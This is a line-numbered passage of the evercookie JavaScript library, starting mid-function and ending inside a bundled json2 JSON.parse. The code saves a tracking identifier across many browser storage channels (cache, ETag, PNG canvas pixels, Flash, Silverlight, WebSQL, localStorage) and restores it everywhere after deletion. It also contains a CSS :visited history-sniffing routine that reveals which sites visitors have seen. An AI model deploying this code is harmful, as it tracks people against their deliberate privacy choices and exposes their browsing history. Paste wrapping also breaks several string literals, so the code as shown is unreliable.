  1088. if (typeof tmpec[item] != 'undefined'
  1089. && typeof tmpec[item] != 'null'
  1090. && tmpec[item] != '' && tmpec[item] != 'null'
  1091. && tmpec[item] != 'undefined'
  1092. && tmpec[item] != null) {
  1093. candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined'
  1094. ? 1
  1095. : candidates[tmpec[item]] + 1;
  1096. }
  1097. }
  1098.  
  1099. for (var item in candidates) {
  1100. if (candidates[item] > bestnum) {
  1101. bestnum = candidates[item];
  1102. candidate = item;
  1103. }
  1104. }
  1105.  
  1106. // reset cookie everywhere
  1107. if (typeof dont_reset == "undefined" || dont_reset != 1)
  1108. self.set(name, candidate);
  1109.  
  1110. if (typeof cb == 'function')
  1111. cb(candidate, tmpec);
  1112. }
  1113. }
  1114. }
  1115.  
  1116. this.evercookie_window = function (name, value) {
  1117. try {
  1118. if (typeof (value) != "undefined")
  1119. window.name = _ec_replace(window.name, name, value);
  1120. else
  1121. return this.getFromStr(name, window.name);
  1122. } catch (e) {
  1123. }
  1124. }
  1125.  
  1126. this.evercookie_userdata = function (name, value) {
  1127. try {
  1128. var elm = this.createElem('div', 'userdata_el', 1);
  1129. elm.style.behavior = "url(#default#userData)";
  1130.  
  1131. if (typeof (value) != "undefined") {
  1132. elm.setAttribute(name, value);
  1133. elm.save(name);
  1134. } else {
  1135. elm.load(name);
  1136. return elm.getAttribute(name);
  1137. }
  1138. } catch (e) {
  1139. }
  1140. }
  1141.  
  1142. this.evercookie_cache = function (name, value) {
  1143. if (typeof (value) != "undefined") {
  1144. // make sure we have evercookie session defined first
  1145. document.cookie = 'evercookie_cache=' + value;
  1146.  
  1147. // evercookie_cache.php handles caching
  1148. var img = new Image();
  1149. img.style.visibility = 'hidden';
  1150. img.style.position = 'absolute';
  1151. img.src = 'evercookie_cache.php?name=' + name;
  1152. } else {
  1153. // interestingly enough, we want to erase our evercookie
  1154. // http cookie so the php will force a cached response
  1155. var origvalue = this.getFromStr('evercookie_cache',
  1156. document.cookie);
  1157. self._ec.cacheData = undefined;
  1158. document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep
  1159. 2010 00:00:00 UTC; path=/';
  1160.  
  1161. $
  1162. .ajax({
  1163. url: 'evercookie_cache.php?name=' + name,
  1164. success: function (data) {
  1165. // put our cookie back
  1166. document.cookie = 'evercookie_cache='
  1167. + origvalue
  1168. + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1169.  
  1170. self._ec.cacheData = data;
  1171. }
  1172. });
  1173. }
  1174. }
  1175.  
  1176. this.evercookie_etag = function (name, value) {
  1177. if (typeof (value) != "undefined") {
  1178. // make sure we have evercookie session defined first
  1179. document.cookie = 'evercookie_etag=' + value;
  1180.  
  1181. // evercookie_etag.php handles etagging
  1182. var img = new Image();
  1183. img.style.visibility = 'hidden';
  1184. img.style.position = 'absolute';
  1185. img.src = 'evercookie_etag.php?name=' + name;
  1186. } else {
  1187. // interestingly enough, we want to erase our evercookie
  1188. // http cookie so the php will force a cached response
  1189. var origvalue = this.getFromStr('evercookie_etag',
  1190. document.cookie);
  1191. self._ec.etagData = undefined;
  1192. document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep
  1193. 2010 00:00:00 UTC; path=/';
  1194.  
  1195. $
  1196. .ajax({
  1197. url: 'evercookie_etag.php?name=' + name,
  1198. success: function (data) {
  1199. // put our cookie back
  1200. document.cookie = 'evercookie_etag='
  1201. + origvalue
  1202. + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1203.  
  1204. self._ec.etagData = data;
  1205. }
  1206. });
  1207. }
  1208. }
  1209.  
  1210. this.evercookie_lso = function (name, value) {
  1211. var div = document.getElementById('swfcontainer');
  1212. if (!div) {
  1213. div = document.createElement("div");
  1214. div.setAttribute('id', 'swfcontainer');
  1215. document.body.appendChild(div);
  1216. }
  1217.  
  1218. var flashvars = {};
  1219. if (typeof value != 'undefined')
  1220. flashvars.everdata = name + '=' + value;
  1221.  
  1222. var params = {};
  1223. params.swliveconnect = "true";
  1224. var attributes = {};
  1225. attributes.id = "myswf";
  1226. attributes.name = "myswf";
  1227. swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1",
  1228. "9.0.0", false, flashvars, params, attributes);
  1229. }
  1230.  
  1231. this.evercookie_png = function (name, value) {
  1232. if (document.createElement('canvas').getContext) {
  1233. if (typeof (value) != "undefined") {
  1234. // make sure we have evercookie session defined first
  1235. document.cookie = 'evercookie_png=' + value;
  1236.  
  1237. // evercookie_png.php handles the hard part of
  1238. generating
  1239. // the image
  1240. // based off of the http cookie and returning it cached
  1241. var img = new Image();
  1242. img.style.visibility = 'hidden';
  1243. img.style.position = 'absolute';
  1244. img.src = 'evercookie_png.php?name=' + name;
  1245. } else {
  1246. self._ec.pngData = undefined;
  1247. var context = document.createElement('canvas');
  1248. context.style.visibility = 'hidden';
  1249. context.style.position = 'absolute';
  1250. context.width = 200;
  1251. context.height = 1;
  1252. var ctx = context.getContext('2d');
  1253.  
  1254. // interestingly enough, we want to erase our evercookie
  1255. // http cookie so the php will force a cached response
  1256. var origvalue = this.getFromStr('evercookie_png',
  1257. document.cookie);
  1258. document.cookie = 'evercookie_png=; expires=Mon, 20 Sep
  1259. 2010 00:00:00 UTC; path=/';
  1260.  
  1261. var img = new Image();
  1262. img.style.visibility = 'hidden';
  1263. img.style.position = 'absolute';
  1264. img.src = 'evercookie_png.php?name=' + name;
  1265.  
  1266. img.onload = function () {
  1267. // put our cookie back
  1268. document.cookie = 'evercookie_png='
  1269. + origvalue
  1270. + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1271.  
  1272. self._ec.pngData = '';
  1273. ctx.drawImage(img, 0, 0);
  1274.  
  1275. // get CanvasPixelArray from given coordinates and
  1276. // dimensions
  1277. var imgd = ctx.getImageData(0, 0, 200, 1);
  1278. var pix = imgd.data;
  1279.  
  1280. // loop over each pixel to get the "RGB" values
  1281. (ignore
  1282. // alpha)
  1283. for (var i = 0, n = pix.length; i < n; i += 4) {
  1284. if (pix[i] == 0)
  1285. break;
  1286. self._ec.pngData += String.fromCharCode(pix[i]);
  1287. if (pix[i + 1] == 0)
  1288. break;
  1289. self._ec.pngData += String.fromCharCode(pix[i +
  1290. 1]);
  1291. if (pix[i + 2] == 0)
  1292. break;
  1293. self._ec.pngData += String.fromCharCode(pix[i +
  1294. 2]);
  1295. }
  1296. }
  1297. }
  1298. }
  1299. }
  1300.  
  1301. this.evercookie_local_storage = function (name, value) {
  1302. try {
  1303. if (window.localStorage) {
  1304. if (typeof (value) != "undefined")
  1305. localStorage.setItem(name, value);
  1306. else
  1307. return localStorage.getItem(name);
  1308. }
  1309. } catch (e) {
  1310. }
  1311. }
  1312.  
  1313. this.evercookie_database_storage = function (name, value) {
  1314. try {
  1315. if (window.openDatabase) {
  1316. var database = window.openDatabase("sqlite_evercookie",
  1317. "",
  1318. "evercookie", 1024 * 1024);
  1319.  
  1320. if (typeof (value) != "undefined")
  1321. database
  1322. .transaction(function (tx) {
  1323. tx
  1324. .executeSql(
  1325. "CREATE TABLE IF NOT EXISTS cache("
  1326. + "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "
  1327. + "name TEXT NOT NULL, "
  1328. + "value TEXT NOT NULL, "
  1329. + "UNIQUE (name)"
  1330. + ")", [],
  1331. function (tx, rs) {
  1332. }, function (tx, err) {
  1333. });
  1334.  
  1335. tx
  1336. .executeSql(
  1337. "INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)",
  1338. [name, value], function (
  1339. tx, rs) {
  1340. }, function (tx, err) {
  1341. })
  1342. });
  1343. else {
  1344. database.transaction(function (tx) {
  1345. tx.executeSql(
  1346. "SELECT value FROM cache WHERE name=?",
  1347. [name], function (tx, result1) {
  1348. if (result1.rows.length >= 1)
  1349. self._ec.dbData = result1.rows
  1350. .item(0)['value'];
  1351. else
  1352. self._ec.dbData = '';
  1353. }, function (tx, err) {
  1354. })
  1355. });
  1356. }
  1357. }
  1358. } catch (e) {
  1359. }
  1360. }
  1361.  
  1362. this.evercookie_session_storage = function (name, value) {
  1363. try {
  1364. if (window.sessionStorage) {
  1365. if (typeof (value) != "undefined")
  1366. sessionStorage.setItem(name, value);
  1367. else
  1368. return sessionStorage.getItem(name);
  1369. }
  1370. } catch (e) {
  1371. }
  1372. }
  1373.  
  1374. this.evercookie_global_storage = function (name, value) {
  1375. if (window.globalStorage) {
  1376. var host = this.getHost();
  1377.  
  1378. try {
  1379. if (typeof (value) != "undefined")
  1380. eval("globalStorage[host]." + name + " = value");
  1381. else
  1382. return eval("globalStorage[host]." + name);
  1383. } catch (e) {
  1384. }
  1385. }
  1386. }
  1387. this.evercookie_silverlight = function (name, value) {
  1388. /*
  1389. * Create silverlight embed
  1390. *
  1391. * Ok. so, I tried doing this the proper dom way, but IE chokes on
  1392. * appending anything in object tags (including params), so this is
  1393. * the best method I found. Someone really needs to find a less
  1394. * hack-ish way. I hate the look of this shit.
  1395. */
  1396. var source = "evercookie.xap";
  1397. var minver = "4.0.50401.0";
  1398.  
  1399. var initParam = "";
  1400. if (typeof (value) != "undefined")
  1401. initParam = '<param name="initParams" value="' + name + '='
  1402. + value + '" />';
  1403.  
  1404. var html = '<object data="data:application/x-silverlight-2,"
  1405. type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">'
  1406. + initParam
  1407. + '<param name="source" value="'
  1408. + source
  1409. + '"/>'
  1410. + '<param name="onLoad" value="onSilverlightLoad"/>'
  1411. + '<param name="onError" value="onSilverlightError"/>'
  1412. + '<param name="background" value="Transparent"/>'
  1413. + '<param name="windowless" value="true"/>'
  1414. + '<param name="minRuntimeVersion" value="'
  1415. + minver
  1416. + '"/>'
  1417. + '<param name="autoUpgrade" value="true"/>'
  1418. + '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='
  1419. + minver
  1420. + '" style="text-decoration:none">'
  1421. + '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get
  1422. Microsoft Silverlight" style="border-style:none"/>'
  1423. + '</a>' + '</object>';
  1424. document.body.innerHTML += html;
  1425. }
  1426.  
  1427. // public method for encoding
  1428. this.encode = function (input) {
  1429. var output = "";
  1430. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  1431. var i = 0;
  1432.  
  1433. input = this._utf8_encode(input);
  1434.  
  1435. while (i < input.length) {
  1436.  
  1437. chr1 = input.charCodeAt(i++);
  1438. chr2 = input.charCodeAt(i++);
  1439. chr3 = input.charCodeAt(i++);
  1440.  
  1441. enc1 = chr1 >> 2;
  1442. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  1443. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  1444. enc4 = chr3 & 63;
  1445.  
  1446. if (isNaN(chr2)) {
  1447. enc3 = enc4 = 64;
  1448. } else if (isNaN(chr3)) {
  1449. enc4 = 64;
  1450. }
  1451.  
  1452. output = output + _baseKeyStr.charAt(enc1)
  1453. + _baseKeyStr.charAt(enc2) + _baseKeyStr.charAt(enc3)
  1454. + _baseKeyStr.charAt(enc4);
  1455.  
  1456. }
  1457.  
  1458. return output;
  1459. }
  1460.  
  1461. // public method for decoding
  1462. this.decode = function (input) {
  1463. var output = "";
  1464. var chr1, chr2, chr3;
  1465. var enc1, enc2, enc3, enc4;
  1466. var i = 0;
  1467.  
  1468. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  1469.  
  1470. while (i < input.length) {
  1471. enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  1472. enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  1473. enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  1474. enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  1475.  
  1476. chr1 = (enc1 << 2) | (enc2 >> 4);
  1477. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  1478. chr3 = ((enc3 & 3) << 6) | enc4;
  1479.  
  1480. output = output + String.fromCharCode(chr1);
  1481.  
  1482. if (enc3 != 64) {
  1483. output = output + String.fromCharCode(chr2);
  1484. }
  1485. if (enc4 != 64) {
  1486. output = output + String.fromCharCode(chr3);
  1487. }
  1488.  
  1489. }
  1490.  
  1491. output = this._utf8_decode(output);
  1492.  
  1493. return output;
  1494.  
  1495. }
  1496.  
  1497. // private method for UTF-8 encoding
  1498. this._utf8_encode = function (string) {
  1499. string = string.replace(/\r\n/g, "\n");
  1500. var utftext = "";
  1501.  
  1502. for (var n = 0; n < string.length; n++) {
  1503.  
  1504. var c = string.charCodeAt(n);
  1505.  
  1506. if (c < 128) {
  1507. utftext += String.fromCharCode(c);
  1508. } else if ((c > 127) && (c < 2048)) {
  1509. utftext += String.fromCharCode((c >> 6) | 192);
  1510. utftext += String.fromCharCode((c & 63) | 128);
  1511. } else {
  1512. utftext += String.fromCharCode((c >> 12) | 224);
  1513. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  1514. utftext += String.fromCharCode((c & 63) | 128);
  1515. }
  1516.  
  1517. }
  1518.  
  1519. return utftext;
  1520. }
  1521.  
  1522. // private method for UTF-8 decoding
  1523. this._utf8_decode = function (utftext) {
  1524. var string = "";
  1525. var i = 0;
  1526. var c = c1 = c2 = 0;
  1527.  
  1528. while (i < utftext.length) {
  1529.  
  1530. c = utftext.charCodeAt(i);
  1531.  
  1532. if (c < 128) {
  1533. string += String.fromCharCode(c);
  1534. i++;
  1535. } else if ((c > 191) && (c < 224)) {
  1536. c2 = utftext.charCodeAt(i + 1);
  1537. string += String.fromCharCode(((c & 31) << 6) | (c2 &
  1538. 63));
  1539. i += 2;
  1540. } else {
  1541. c2 = utftext.charCodeAt(i + 1);
  1542. c3 = utftext.charCodeAt(i + 2);
  1543. string += String.fromCharCode(((c & 15) << 12)
  1544. | ((c2 & 63) << 6) | (c3 & 63));
  1545. i += 3;
  1546. }
  1547.  
  1548. }
  1549.  
  1550. return string;
  1551. }
  1552.  
  1553. // this is crazy but it's 4am in dublin and i thought this would be
  1554. // hilarious
  1555. // blame the guinness
  1556. this.evercookie_history = function (name, value) {
  1557. // - is special
  1558. var baseStr =
  1559. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  1560. var baseElems = baseStr.split("");
  1561.  
  1562. // sorry google.
  1563. var url = 'http://www.google.com/evercookie/cache/'
  1564. + this.getHost() + '/' + name;
  1565.  
  1566. if (typeof (value) != "undefined") {
  1567. // don't reset this if we already have it set once
  1568. // too much data and you can't clear previous values
  1569. if (this.hasVisited(url))
  1570. return;
  1571.  
  1572. this.createIframe(url, 'if');
  1573. url = url + '/';
  1574.  
  1575. var base = this.encode(value).split("");
  1576. for (var i = 0; i < base.length; i++) {
  1577. url = url + base[i];
  1578. this.createIframe(url, 'if' + i);
  1579. }
  1580.  
  1581. // - signifies the end of our data
  1582. url = url + '-';
  1583. this.createIframe(url, 'if_');
  1584. } else {
  1585. // omg you got csspwn3d
  1586. if (this.hasVisited(url)) {
  1587. url = url + '/';
  1588.  
  1589. var letter = "";
  1590. var val = "";
  1591. var found = 1;
  1592. while (letter != '-' && found == 1) {
  1593. found = 0;
  1594. for (var i = 0; i < baseElems.length; i++) {
  1595. if (this.hasVisited(url + baseElems[i])) {
  1596. letter = baseElems[i];
  1597. if (letter != '-')
  1598. val = val + letter;
  1599. url = url + letter;
  1600. found = 1;
  1601. break;
  1602. }
  1603. }
  1604. }
  1605.  
  1606. // lolz
  1607. return this.decode(val);
  1608. }
  1609. }
  1610. }
  1611.  
  1612. this.createElem = function (type, name, append) {
  1613. var el;
  1614. if (typeof name != 'undefined' && document.getElementById(name))
  1615. el = document.getElementById(name);
  1616. else
  1617. el = document.createElement(type);
  1618. el.style.visibility = 'hidden';
  1619. el.style.position = 'absolute';
  1620.  
  1621. if (name)
  1622. el.setAttribute('id', name);
  1623.  
  1624. if (append)
  1625. document.body.appendChild(el);
  1626.  
  1627. return el;
  1628. }
  1629.  
  1630. this.createIframe = function (url, name) {
  1631. var el = this.createElem('iframe', name, 1);
  1632. el.setAttribute('src', url);
  1633. return el;
  1634. }
  1635.  
  1636. // wait for our swfobject to appear (swfobject.js to load)
  1637. this.waitForSwf = function (i) {
  1638. if (typeof i == 'undefined')
  1639. i = 0;
  1640. else
  1641. i++;
  1642.  
  1643. // wait for ~2 seconds for swfobject to appear
  1644. if (i < _ec_tests && typeof swfobject == 'undefined')
  1645. setTimeout(function () {
  1646. waitForSwf(i)
  1647. }, 300);
  1648. }
  1649.  
  1650. this.evercookie_cookie = function (name, value) {
  1651. if (typeof (value) != "undefined") {
  1652. // expire the cookie first
  1653. document.cookie = name
  1654. + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  1655. document.cookie = name + '=' + value
  1656. + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  1657. } else
  1658. return this.getFromStr(name, document.cookie);
  1659. }
  1660.  
  1661. // get value from param-like string (eg, "x=y&name=VALUE")
  1662. this.getFromStr = function (name, text) {
  1663. if (typeof text != 'string')
  1664. return;
  1665.  
  1666. var nameEQ = name + "=";
  1667. var ca = text.split(/[;&]/);
  1668. for (var i = 0; i < ca.length; i++) {
  1669. var c = ca[i];
  1670. while (c.charAt(0) == ' ')
  1671. c = c.substring(1, c.length);
  1672. if (c.indexOf(nameEQ) == 0)
  1673. return c.substring(nameEQ.length, c.length);
  1674. }
  1675. }
  1676.  
  1677. this.getHost = function () {
  1678. var domain = document.location.host;
  1679. if (domain.indexOf('www.') == 0)
  1680. domain = domain.replace('www.', '');
  1681. return domain;
  1682. }
  1683.  
  1684. this.toHex = function (str) {
  1685. var r = "";
  1686. var e = str.length;
  1687. var c = 0;
  1688. var h;
  1689. while (c < e) {
  1690. h = str.charCodeAt(c++).toString(16);
  1691. while (h.length < 2)
  1692. h = "0" + h;
  1693. r += h;
  1694. }
  1695. return r;
  1696. }
  1697.  
  1698. this.fromHex = function (str) {
  1699. var r = "";
  1700. var e = str.length;
  1701. var s;
  1702. while (e >= 0) {
  1703. s = e - 2;
  1704. r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  1705. e = s;
  1706. }
  1707. return r;
  1708. }
  1709.  
  1710. /*
  1711. * css history knocker (determine what sites your visitors have been to)
  1712. *
  1713. * originally by Jeremiah Grossman
  1714. * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  1715. *
  1716. * ported to additional browsers by Samy Kamkar
  1717. *
  1718. * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari,
  1719. * chrome, flock - code@samy.pl
  1720. */
  1721.  
  1722. this.hasVisited = function (url) {
  1723. if (this.no_color == -1) {
  1724. var no_style = this
  1725. ._getRGB(
  1726. "http://samy-was-here-this-should-never-be-visited.com",
  1727. -1);
  1728. if (no_style == -1)
  1729. this.no_color = this._getRGB("http://samy-was-here-"
  1730. + Math.floor(Math.random() * 9999999) + "rand.com");
  1731. }
  1732.  
  1733. // did we give full url?
  1734. if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  1735. return this._testURL(url, this.no_color);
  1736.  
  1737. // if not, just test a few diff types if (exact)
  1738. return this._testURL("http://" + url, this.no_color)
  1739. || this._testURL("https://" + url, this.no_color)
  1740. || this._testURL("http://www." + url, this.no_color)
  1741. || this._testURL("https://www." + url, this.no_color);
  1742. }
  1743.  
  1744. /* create our anchor tag */
  1745. var _link = this.createElem('a', '_ec_rgb_link');
  1746.  
  1747. /* for monitoring */
  1748. var created_style;
  1749.  
  1750. /*
  1751. * create a custom style tag for the specific link. Set the CSS visited
  1752. * selector to a known value
  1753. */
  1754. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  1755.  
  1756. /* Methods for IE6, IE7, FF, Opera, and Safari */
  1757. try {
  1758. created_style = 1;
  1759. var style = document.createElement('style');
  1760. if (style.styleSheet)
  1761. style.styleSheet.innerHTML = _cssText;
  1762. else if (style.innerHTML)
  1763. style.innerHTML = _cssText;
  1764. else {
  1765. var cssT = document.createTextNode(_cssText);
  1766. style.appendChild(cssT);
  1767. }
  1768. } catch (e) {
  1769. created_style = 0;
  1770. }
  1771.  
  1772. /* if test_color, return -1 if we can't set a style */
  1773. this._getRGB = function (u, test_color) {
  1774. if (test_color && created_style == 0)
  1775. return -1;
  1776.  
  1777. /* create the new anchor tag with the appropriate URL
  1778. information */
  1779. _link.href = u;
  1780. _link.innerHTML = u;
  1781. // not sure why, but the next two appendChilds always have to
  1782. happen
  1783. // vs just once
  1784. document.body.appendChild(style);
  1785. document.body.appendChild(_link);
  1786.  
  1787. /* add the link to the DOM and save the visible computed color
  1788. */
  1789. var color;
  1790. if (document.defaultView)
  1791. color = document.defaultView.getComputedStyle(_link, null)
  1792. .getPropertyValue('color');
  1793. else
  1794. color = _link.currentStyle['color'];
  1795.  
  1796. return color;
  1797. }
  1798.  
  1799. this._testURL = function (url, no_color) {
  1800. var color = this._getRGB(url);
  1801.  
  1802. /*
  1803. * check to see if the link has been visited if the computed color
  1804. * is red
  1805. */
  1806. if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  1807. return 1;
  1808.  
  1809. /* if our style trick didn't work, just compare default
  1810. style colors */
  1811. else if (no_color && color != no_color)
  1812. return 1;
  1813.  
  1814. /* not found */
  1815. return 0;
  1816. }
  1817.  
  1818. };
  1819.  
  1820. return _class;
  1821. })();
  1822.  
  1823. /*
  1824. * Again, ugly workaround....same problem as flash.
  1825. */
  1826. var _global_isolated;
  1827. function onSilverlightLoad(sender, args) {
  1828. var control = sender.getHost();
  1829. _global_isolated = control.Content.App.getIsolatedStorage();
  1830. }
  1831. /*
  1832. * function onSilverlightError(sender, args) { _global_isolated = ""; }
  1833. */
  1834. function onSilverlightError(sender, args) {
  1835. _global_isolated = "";
  1836. }
  1837.  
  1838. /*
  1839. * https://github.com/douglascrockford/JSON-js/blob/master/json2.js2011-02-23 //
  1840. * Create a JSON object only if one does not already exist. We create the //
  1841. * methods in a closure to avoid creating global variables.
  1842. */
  1843.  
  1844. var JSON;
  1845. if (!JSON) {
  1846. JSON = {};
  1847. }
  1848.  
  1849. (function () {
  1850. "use strict";
  1851.  
  1852. function f(n) {
  1853. // Format integers to have at least two digits.
  1854. return n < 10 ? '0' + n : n;
  1855. }
  1856.  
  1857. if (typeof Date.prototype.toJSON !== 'function') {
  1858.  
  1859. Date.prototype.toJSON = function (key) {
  1860.  
  1861. return isFinite(this.valueOf()) ? this.getUTCFullYear() + '-'
  1862. + f(this.getUTCMonth() + 1) + '-' + f(this.getUTCDate())
  1863. + 'T' + f(this.getUTCHours()) + ':'
  1864. + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds())
  1865. + 'Z' : null;
  1866. };
  1867.  
  1868. String.prototype.toJSON = Number.prototype.toJSON =
  1869. Boolean.prototype.toJSON = function (
  1870. key) {
  1871. return this.valueOf();
  1872. };
  1873. }
  1874.  
  1875. var cx =
  1876. /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
  1877. escapable =
  1878. /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
  1879. gap, indent, meta = { // table
  1880. // of
  1881. // character
  1882. // substitutions
  1883. '\b': '\\b',
  1884. '\t': '\\t',
  1885. '\n': '\\n',
  1886. '\f': '\\f',
  1887. '\r': '\\r',
  1888. '"': '\\"',
  1889. '\\': '\\\\'
  1890. }, rep;
  1891.  
  1892. function quote(string) {
  1893.  
  1894. // If the string contains no control characters, no quote
  1895. characters,
  1896. // and no
  1897. // backslash characters, then we can safely slap some quotes around
  1898. it.
  1899. // Otherwise we must also replace the offending characters with safe
  1900. // escape
  1901. // sequences.
  1902.  
  1903. escapable.lastIndex = 0;
  1904. return escapable.test(string) ? '"'
  1905. + string.replace(escapable,
  1906. function (a) {
  1907. var c = meta[a];
  1908. return typeof c === 'string' ? c : '\\u'
  1909. + ('0000' + a.charCodeAt(0).toString(16))
  1910. .slice(-4);
  1911. }) + '"' : '"' + string + '"';
  1912. }
  1913.  
  1914. function str(key, holder) {
  1915.  
  1916. // Produce a string from holder[key].
  1917.  
  1918. var i, // The loop counter.
  1919. k, // The member key.
  1920. v, // The member value.
  1921. length, mind = gap, partial, value = holder[key];
  1922.  
  1923. // If the value has a toJSON method, call it to obtain a replacement
  1924. // value.
  1925.  
  1926. if (value && typeof value === 'object'
  1927. && typeof value.toJSON === 'function') {
  1928. value = value.toJSON(key);
  1929. }
  1930.  
  1931. // If we were called with a replacer function, then call the
  1932. replacer to
  1933. // obtain a replacement value.
  1934.  
  1935. if (typeof rep === 'function') {
  1936. value = rep.call(holder, key, value);
  1937. }
  1938.  
  1939. // What happens next depends on the value's type.
  1940.  
  1941. switch (typeof value) {
  1942. case 'string':
  1943. return quote(value);
  1944.  
  1945. case 'number':
  1946.  
  1947. // JSON numbers must be finite. Encode non-finite numbers
  1948. as null.
  1949.  
  1950. return isFinite(value) ? String(value) : 'null';
  1951.  
  1952. case 'boolean':
  1953. case 'null':
  1954.  
  1955. // If the value is a boolean or null, convert it to a
  1956. string. Note:
  1957. // typeof null does not produce 'null'. The case is
  1958. included here in
  1959. // the remote chance that this gets fixed someday.
  1960.  
  1961. return String(value);
  1962.  
  1963. // If the type is 'object', we might be dealing with an
  1964. object or an
  1965. // array or
  1966. // null.
  1967.  
  1968. case 'object':
  1969.  
  1970. // Due to a specification blunder in ECMAScript, typeof
  1971. null is
  1972. // 'object',
  1973. // so watch out for that case.
  1974.  
  1975. if (!value) {
  1976. return 'null';
  1977. }
  1978.  
  1979. // Make an array to hold the partial results of
  1980. stringifying this
  1981. // object value.
  1982.  
  1983. gap += indent;
  1984. partial = [];
  1985.  
  1986. // Is the value an array?
  1987.  
  1988. if (Object.prototype.toString.apply(value) === '[object
  1989. Array]') {
  1990.  
  1991. // The value is an array. Stringify every element. Use
  1992. null as a
  1993. // placeholder
  1994. // for non-JSON values.
  1995.  
  1996. length = value.length;
  1997. for (i = 0; i < length; i += 1) {
  1998. partial[i] = str(i, value) || 'null';
  1999. }
  2000.  
  2001. // Join all of the elements together, separated with
  2002. commas, and
  2003. // wrap them in
  2004. // brackets.
  2005.  
  2006. v = partial.length === 0 ? '[]' : gap ? '[\n' + gap
  2007. + partial.join(',\n' + gap) + '\n' + mind + ']' : '['
  2008. + partial.join(',') + ']';
  2009. gap = mind;
  2010. return v;
  2011. }
  2012.  
  2013. // If the replacer is an array, use it to select the
  2014. members to be
  2015. // stringified.
  2016.  
  2017. if (rep && typeof rep === 'object') {
  2018. length = rep.length;
  2019. for (i = 0; i < length; i += 1) {
  2020. if (typeof rep[i] === 'string') {
  2021. k = rep[i];
  2022. v = str(k, value);
  2023. if (v) {
  2024. partial.push(quote(k) + (gap ? ': ' : ':')
  2025. + v);
  2026. }
  2027. }
  2028. }
  2029. } else {
  2030.  
  2031. // Otherwise, iterate through all of the keys in the
  2032. object.
  2033.  
  2034. for (k in value) {
  2035. if (Object.prototype.hasOwnProperty.call(value, k))
  2036. {
  2037. v = str(k, value);
  2038. if (v) {
  2039. partial.push(quote(k) + (gap ? ': ' : ':')
  2040. + v);
  2041. }
  2042. }
  2043. }
  2044. }
  2045.  
  2046. // Join all of the member texts together, separated with
  2047. commas,
  2048. // and wrap them in braces.
  2049.  
  2050. v = partial.length === 0 ? '{}' : gap ? '{\n' + gap
  2051. + partial.join(',\n' + gap) + '\n' + mind + '}' : '{'
  2052. + partial.join(',') + '}';
  2053. gap = mind;
  2054. return v;
  2055. }
  2056. }
  2057.  
  2058. // If the JSON object does not yet have a stringify method, give it one.
  2059.  
  2060. if (typeof JSON.stringify !== 'function') {
  2061. JSON.stringify = function (value, replacer, space) {
  2062.  
  2063. // The stringify method takes a value and an optional replacer,
  2064. and
  2065. // an optional
  2066. // space parameter, and returns a JSON text. The replacer can
  2067. be a
  2068. // function
  2069. // that can replace values, or an array of strings that will
  2070. select
  2071. // the keys.
  2072. // A default replacer method can be provided. Use of the space
  2073. // parameter can
  2074. // produce text that is more easily readable.
  2075.  
  2076. var i;
  2077. gap = '';
  2078. indent = '';
  2079.  
  2080. // If the space parameter is a number, make an indent string
  2081. // containing that
  2082. // many spaces.
  2083.  
  2084. if (typeof space === 'number') {
  2085. for (i = 0; i < space; i += 1) {
  2086. indent += ' ';
  2087. }
  2088.  
  2089. // If the space parameter is a string, it will be used as
  2090. the
  2091. // indent string.
  2092.  
  2093. } else if (typeof space === 'string') {
  2094. indent = space;
  2095. }
  2096.  
  2097. // If there is a replacer, it must be a function or an array.
  2098. // Otherwise, throw an error.
  2099.  
  2100. rep = replacer;
  2101. if (replacer
  2102. && typeof replacer !== 'function'
  2103. && (typeof replacer !== 'object' || typeof replacer.length !== 'number')) {
  2104. throw new Error('JSON.stringify');
  2105. }
  2106.  
  2107. // Make a fake root object containing our value under the key
  2108. of ''.
  2109. // Return the result of stringifying the value.
  2110.  
  2111. return str('', {
  2112. '': value
  2113. });
  2114. };
  2115. }
  2116.  
  2117. // If the JSON object does not yet have a parse method, give it one.
  2118.  
  2119. if (typeof JSON.parse !== 'function') {
  2120. JSON.parse = function (text, reviver) {
  2121.  
  2122. // The parse method takes a text and an optional reviver
  2123. function,
  2124. // and returns
  2125. // a JavaScript value if the text is a valid JSON text.
  2126.  
  2127. var j;
  2128.  
  2129. function walk(holder, key) {
  2130.  
  2131. // The walk method is used to recursively walk the resulting
  2132. // structure so
  2133. // that modifications can be made.
  2134.  
  2135. var k, v, value = holder[key];
